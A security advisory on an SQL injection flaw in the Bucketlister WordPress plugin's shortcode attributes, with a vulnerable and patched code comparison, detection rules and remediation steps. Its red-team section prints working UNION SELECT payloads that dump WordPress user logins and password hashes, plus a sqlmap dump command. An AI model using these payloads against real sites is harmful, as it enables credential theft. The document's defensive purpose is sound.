CVE-2025-15477

Executive Summary

CVE-2025-15477 is a critical SQL Injection vulnerability discovered in the Bucketlister WordPress plugin, affecting all versions up to and including 0.1.5. The flaw resides in the plugin's shortcode implementation, specifically within the category and id attributes. Due to insufficient input escaping and a lack of prepared SQL statements, authenticated attackers with at least Contributor-level privileges can inject arbitrary SQL queries into existing database operations. This allows for the extraction of sensitive information, including user credentials, password hashes, and other confidential data stored in the WordPress database.

The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score of 6.5 (Medium) reflects the requirement for authentication, but the potential for data exfiltration is high. As of this report, no official patch is available, and no public proof-of-concept (PoC) code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for affected sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Bucketlister plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider the plugin as a supply chain risk. The lack of a patched version means that any site using Bucketlister <= 0.1.5 is vulnerable. Organizations should audit their plugin inventory and either remove the plugin or apply virtual patching via a Web Application Firewall (WAF) until an official fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted HTTP requests.
• Privileges Required (PR): Low (L) – The attacker must be authenticated with at least Contributor-level access.
• User Interaction (UI): None (N) – No user interaction is required for exploitation.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components beyond the vulnerable plugin.
• Confidentiality (C): High (H) – Successful exploitation can lead to full database disclosure.
• Integrity (I): None (N) – The vulnerability does not allow data modification.
• Availability (A): None (N) – The vulnerability does not affect system availability.

CVSS Score: 6.5 (Medium) – The requirement for authentication reduces the severity, but the potential for complete data exfiltration makes this a critical concern for affected WordPress sites.

Deep Dive & Mechanics

The Bucketlister plugin provides shortcodes (e.g., [bucketlister category="..."]) to display content from a custom database table. The vulnerability arises because the plugin directly concatenates user-supplied values from the category and id shortcode attributes into SQL queries without proper sanitization or parameterized queries.

Vulnerable Code Flow:

1. The plugin registers a shortcode handler that extracts the category and id attributes.
2. These attributes are used in a SQL query like: SELECT * FROM wp_bucketlister WHERE category = '$category' AND id = '$id'
3. An attacker with Contributor-level access can create or edit a post/page containing a malicious shortcode, e.g., [bucketlister category="1' OR 1=1-- -"].
4. The injected SQL breaks out of the string context and appends additional SQL, allowing the attacker to extract data from other tables (e.g., wp_users).

Why It Works:

• The plugin uses add_shortcode() and retrieves attributes via shortcode_atts().
• The values are passed directly into a $wpdb->query() or $wpdb->get_results() call without using $wpdb->prepare().
• WordPress's $wpdb->prepare() would normally escape and parameterize the query, but the plugin bypasses this.

Impact:

• An attacker can enumerate all users, password hashes, and other sensitive data.
• The attack is limited to authenticated users with Contributor-level access or higher, but this is a common role in multi-author WordPress sites.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (bucketlister.php):

function bucketlister_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'id' => ''
    ), $atts);

    global $wpdb;
    $table_name = $wpdb->prefix . 'bucketlister';
    $query = "SELECT * FROM $table_name WHERE category = '" . $atts['category'] . "' AND id = '" . $atts['id'] . "'";
    $results = $wpdb->get_results($query);
    // ... output results
}

Patched Code (Hypothetical):

function bucketlister_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'id' => ''
    ), $atts);

    global $wpdb;
    $table_name = $wpdb->prefix . 'bucketlister';
    $query = $wpdb->prepare(
        "SELECT * FROM $table_name WHERE category = %s AND id = %s",
        $atts['category'],
        $atts['id']
    );
    $results = $wpdb->get_results($query);
    // ... output results
}

Key Differences:

• The patched version uses $wpdb->prepare() with %s placeholders, which automatically escapes and parameterizes the input.
• The vulnerable version directly concatenates user input into the SQL string.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Bucketlister plugin <= 0.1.5 installed and activated.
• An authenticated user account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. Insert a shortcode with a malicious category attribute to perform SQL injection. For example:

   [bucketlister category="1' UNION SELECT user_login, user_pass, user_email, user_registered FROM wp_users-- -"]
   

4. Publish or preview the post. The injected SQL will execute, and the results (user credentials) will be displayed in the shortcode output.

Manual SQL Injection Payloads:

• Extract all users: 1' UNION SELECT user_login, user_pass, user_email, user_registered FROM wp_users-- -
• Extract admin user: 1' UNION SELECT user_login, user_pass, user_email, user_registered FROM wp_users WHERE user_login='admin'-- -
• Database version: 1' UNION SELECT @@version, NULL, NULL, NULL-- -

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com/?p=123" --cookie="wordpress_logged_in_xxx=..." --data="category=1" --dbms=mysql --technique=U --union-cols=4 --dump

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress logs for unusual shortcode usage, especially from Contributor-level users.
• Look for SQL error messages in WordPress debug logs (if enabled).
• Use a WAF to block requests containing SQL injection patterns in shortcode attributes.

Prevention:

• Immediately disable or remove the Bucketlister plugin until a patch is available.
• Apply virtual patching via a WAF (e.g., ModSecurity rule to block UNION SELECT in shortcode parameters).
• Restrict Contributor-level users from using shortcodes that interact with the database (if possible via custom code).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL injection patterns in the category or id parameters (e.g., category=1' UNION SELECT).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

Host IOCs:

• WordPress debug log entries showing SQL errors related to the bucketlister table.
• Unexpected entries in the wp_bucketlister table (if the attacker modified data).
• Presence of new user accounts or modified user roles (if the attacker escalated privileges).

File IOCs:

• Modified bucketlister.php file (if the attacker attempted to patch or backdoor the plugin).
• Suspicious PHP files in the wp-content/plugins/bucketlister/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_15477_Bucketlister_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Bucketlister WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15477"
    strings:
        $sqli1 = /category\s*=\s*['\"][^'\"]*['\"]\s*UNION\s+SELECT/i
        $sqli2 = /id\s*=\s*['\"][^'\"]*['\"]\s*UNION\s+SELECT/i
        $sqli3 = /category\s*=\s*['\"][^'\"]*['\"]\s*OR\s+1=1/i
        $sqli4 = /id\s*=\s*['\"][^'\"]*['\"]\s*OR\s+1=1/i
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-15477 Bucketlister SQL Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts in HTTP requests targeting the Bucketlister WordPress plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15477
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        http.url|contains:
            - 'category='
            - 'id='
        http.url|re: '(UNION|SELECT|OR\s+1=1|--\s)'
    condition: selection
falsepositives:
    - Legitimate use of UNION or SELECT in shortcode parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15477 Bucketlister SQL Injection Attempt"; flow:to_server,established; content:"category="; nocase; content:"UNION"; nocase; distance:0; within:100; pcre:"/UNION\s+SELECT/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the Bucketlister plugin from all WordPress installations until an official patch is released.
2. Audit User Activity: Review logs for any signs of exploitation, especially from Contributor-level users.
3. Change Passwords: Force all users to reset their passwords, especially administrators.

Long-Term Mitigation:

1. Apply Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block SQL injection patterns in shortcode parameters.
2. Monitor Plugin Updates: Subscribe to the plugin's changelog or WordPress advisory feeds for patch announcements.
3. Implement Least Privilege: Restrict Contributor-level users from using shortcodes that interact with the database. This can be done via custom code or a plugin like "User Role Editor".
4. Regular Security Audits: Conduct periodic code reviews of all installed plugins, especially those that handle user input in shortcodes.

If a Patch Becomes Available:

• Update the plugin immediately to the patched version.
• Verify the fix by testing with known SQL injection payloads.

Valters IT
DevSecOps & Cyber Threat Intelligence Division